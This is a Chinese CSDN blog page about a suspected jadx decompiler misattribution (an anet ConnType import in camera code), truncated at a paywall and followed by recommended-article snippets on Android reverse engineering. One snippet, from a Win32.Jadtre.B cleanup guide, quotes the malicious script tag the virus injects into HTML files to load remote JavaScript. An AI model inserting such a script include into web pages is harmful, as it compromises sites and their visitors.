记录一下jadx的误报

最新推荐文章于 2025-11-09 07:15:00 发布

原创

最新推荐文章于 2025-11-09 07:15:00 发布 · 1.9k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#java #android

在使用jadx逆向某Android app时，发现一个疑似阿里网络库的类，且内置相机方法与anet库产生误关联。尽管Android官方文档中有相似参数，但在源代码和smali中未找到anet相关证据。这提示jadx可能存在误报，可靠性不如smali代码分析，特别是处理switch结构时。

用jadx逆向某app为java代码时遇到个奇怪的类import anet.channel.entity.ConnType;各种搜索也不确定是什么用的，最后大概确定是阿里开发的跟网络相关的库，大部分用在国内阿里系的产品上。
但还有个问题就是发现

//忽略语法
import anet.channel.entity.ConnType;
String str = ConnType.PK_AUTO;
 parameters.setPreviewSize(previewSize.width, previewSi

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

Iv3R_c

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
1
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

8、混合分析工具在Android恶意软件检测中的应用

y4z5a6b7的博客

06-09

本文详细介绍了混合分析工具在Android恶意软件检测中的应用。通过结合静态分析和动态分析的优势，混合分析工具能够提供更全面和准确的检测结果。文章探讨了其工作原理、应用场景、局限性与挑战，并提出了相应的优化策略。同时，通过具体实例分析展示了混合分析工具的实际效果，为Android恶意软件检测提供了有益参考。

车联网网络安全渗透测试：深度解析与实践

wcl20010的博客

06-27

1500

车联网网络安全渗透测试：深度解析与实践

1 条评论您还未登录，请先登录后发表或查看评论

1 条评论

国强张 2023.09.18
混淆没加固的结果就是被反编译的概率大啊。这个库是哪个呢

java 反编译错误_java-JADX输出反编译错误：“代码反编译正确,请参考转储说明.”...

weixin_33945512的博客

02-24

2458

我正在尝试使用JADX Dex-to-Java反编译器反编译联系人重复卸妆Android应用.但是,JADX在输出中生成以下错误：> /* JADX WARNING: inconsistent code. */> /* Code decompiled incorrectly, please refer to instructions dump. */> ...

win32.Jadtre.B解决办法详解［免删除］

仰望者！

02-25

818

本文转自：http://www.life63.com/Blog/ 昨天下了一个源码，后来所有html 和asp文件还有 exe文件全部中毒，360把所有的文件都给删除了，由于html和asp工程文件删了很麻烦，所以一直没舍得删除，后来网上找了很多方法都没办法解决。后来发现这些文件底部都多了一行代码 <script type="text/javascript" src="http://web...

从晦涩到清晰：Jadx如何优雅处理Switch语句反编译

gitblog_00083的博客

09-11

222

你是否曾遇到反编译后的代码充满难以阅读的goto跳转？特别是Android应用中常见的Switch语句，在Dalvik字节码中常常被编译成复杂的跳转表结构。本文将深入解析Jadx反编译工具中Switch语句的处理机制，带你了解其如何将晦涩的Smali代码转换为可读性强的Java Switch语句，帮助开发者更高效地进行Android应用分析。读完本文，你将掌握Switch语句在反编译过程中的关键转...

jar转java后报错_2.1 dex转java

weixin_35252979的博客

03-06

1214

2.1 dex转javajadx可以直接从dex导出java源码下载jadx从这里下载最新版的jadx解压后得到：jadx：命令行工具jadx-gui：带图形界面的双击即可运行此处想要用jadx去从jar中导出代码，有两种方式：用jadx的命令行直接导出代码用jadx-gui查看代码，也可以再导出代码下面详细介绍jadx直接导出代码切换到要导出代码的目录，已有dex文件要导出，则可以直接运行：语法...

AutoPatch java_AutoPatch 成功, 加载逻辑修复成功, 但 patch.jar 反编译异常

weixin_39683368的博客

02-27

347

异常类型：编译异常Robust版本：0.4.75Gradle版本：2.14.1系统：Mac出现一种情况, autoPatch 成功, 且 Patch 加载后功能修复正常, 但是 patch.jar dex - jar - jdGui 在 jdGui 中出现以下现象, 不能正常反编译为 java 代码. 这种现象正常吗?/* JADX: method processing error *//*Err...

jadx 意外退出可能原因

BigBoy_Coder的博客

11-26

1210

最近使用jadx来反编译app，但是总是弹出下图的错误，我的是mac环境解决方法：最后找到是说jdk版本问题，我出问题的版本是jdk1.8最新的250版本，后来改成jdk1.8 211版本就很稳定了, jadx的版本是此时最新的1.1 ...

【论文-恶意软件检测-文本分析方向】基于图注意力网络和多模态特征深度融合的Android恶意软件检测方法（精读）

czc的博客的csdn版本，欢迎访问我的还在建设的个人网站：czchx.cc

11-17

2100

数据预处理（apktool、JADX、LibRadar）构建类集调用图（CSCG）主题模型（TD-IDF、LSI）：对调用图节点使用主题模型提取代码语义特征Max_GAT深度特征融合网络：融合两种特征并分类对调用图的生成大小有一个自适应调节的机制存在，让调用图的的大小尽量控制在一个区间内，即避免图过大导致计算开销巨大，又避免图过小导致信息过少本文是采用了很多模块组合构成的一个大的恶意软件检测系统使用LibRadar检测apk包含的第三方库apktool对apk提取出xml、dex文件。

以学术+防御的角度，逆向工程与协议/平台分析

最新发布

aifs2025的博客

11-09

1265

把分析结果转成可执行的防御措施：不是证明“我能逆向”，而是落地“我发现了哪些可观测指标，如何补日志、如何做检测、阈值怎么设”。把检测放在早期：客户端/网关就埋点（请求频次、行为序列、异常报文、认证链路），云端做时序/行为模型。做模拟演练，而不是实战攻击：用自建服务模拟异常流量，验证检测规则与误报率。保持合规与沟通：渗透/逆向发现一切需通过合规渠道上报，形成修复闭环。

常用的混淆代码

yubang3223111的专栏

10-17

1152

# umeng push sdk start -dontwarn com.taobao.** -dontwarn anet.channel.** -dontwarn anetwork.channel.** -dontwarn org.android.** -dontwarn org.apache.thrift.** -dontwarn com.xiaomi.** -dontwarn com.huaw

android 友盟分享混淆,Android——记umeng sdk 混淆之后的一次crash

weixin_42525428的博客

05-29

852

Failed to register native method org.android.spdy.SpdyAgent.freeAgentcrash 异常片段如上：结合上下文怀疑是umeng sdk混淆的问题，但是官方最新文档给出的混淆如下：#umeng 混淆-keep class com.umeng.** {*;}-keep class com.umeng.analytics.** { *; }...

Android 消息推送OnePush

cc623213878的博客

06-01

772

Android 消息推送 1.实现原理 1.消息推送的实质实际上，是当服务器有新消息需推送给用户时，先发送给应用App，应用App再发送给用户推送的消息一般是用户需要的或app希望用户知道的消息 2.原理 2.现今有哪些推送方式 Cloud to Device Messaging，云端推送，是Android系统级别的消息推送服务（Google出品）基于Pull方式，应用程序隔...

Android数据流的狂欢：Channel与Flow

datian1234的博客

11-08

277

Channel 和 Flow 是 Kotlin 协程库中的两个关键概念，它们用于处理数据流和异步操作。它们允许您以异步的方式生成、发送、接收和处理数据，而无需担心线程管理或回调地狱。让我们一起深入了解它们的内部工作原理和高级用法。如果想要成为架构师或想突破20~30K薪资范畴，那就不要局限在编码，业务，要会选型、扩展，提升编程思维。此外，良好的职业规划也很重要，学习的习惯很重要，但是最重要的还是要能持之以恒，任何不能坚持落实的计划都是空谈。

安卓逆向中会遇到的问题

xubaoyong的专栏

07-27

3244

1：使用jadx-gui逆向代码后会有部分代码出现空代码的问题。 1.1 例如逆向xunlei的apk时就会出现。位置如下： Util.PrepareSecurefiles(context, zipFile); 该调用方法的方法体，逆向后变成如下代码格式 /* JADX DEBUG: Multi-variable search result rejected for r21v17, resolved type: java.nio.channels.FileChannel */ /* J

学习笔记-Frida综合案例

人饭子的博客

11-11

1106

Frida综合情景案例六层锁机案例调用静态函数和调用非静态函数设置(同名)成员变量内部类，枚举类的函数并hook，trace原型1 查找接口，hook动态加载dex -“补充一个找interface的实现，“通杀”的方法“ 枚举class，trace原型2 找hook点的一个原则:开发的视角，hook点离数据越近越好，换安卓版本·换frida版本试试 0x01 入门关先找到ho...

win32.Jadtre.B不用删除文件解决办法（网页嵌入一段恶意js ）

weixin_30872789的博客

02-03

428

发现所有的html 和asp文件最后多了一行代码, 连接地址为<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>360 也打不开解决办法：装诺顿 -我的电脑-搜索web.nba1001.net:8888/tj/tongji...

Jdax反编译android apk出现JADX WARNING: Removed duplicated region for block的解决办法

网络安全领域优质创作者

05-20

3612

jadx反编译安卓app出来的代码，有时会出现错误。比如JADX WARNING: Removed duplicated region for block …… 解决办法：英文版：中文版：按照上面的图勾选即可。本文参考引用自简书：https://www.jianshu.com/p/92cb0d736478 ...

打开App逆向“潘多拉魔盒”

weixin_45866698的博客

08-03

1514

一、前言那么...究竟有没有办法呢？下一步怎么办呢？PS：本文所有操作均基于Android App，iOS不在本学习教程内（臣妾也不会啊）二、先验知识2.0 核心思路不支持在 Docs 外粘贴 block2.1 劝退提示PS：如果都不会，建议早点洗洗睡。PPS：或者加钱请我一对一指导。2.2 工作环境准备三、开搞3.0 今天天气真好PS: 让我想想，搞谁家的App比较有趣...PPS：并不是针对谁，只是“学习学习”一下优秀代码。

请说明一下jadx的原理与使用方法

04-08

jadx是一款Java反编译工具，它可以将Java字节码文件反编译成可读性较高的Java源代码，方便进行代码分析和修改。使用jadx需要先下载并安装它，然后将需要反编译的Java字节码文件拖入jadx界面中即可进行反编译操作。反...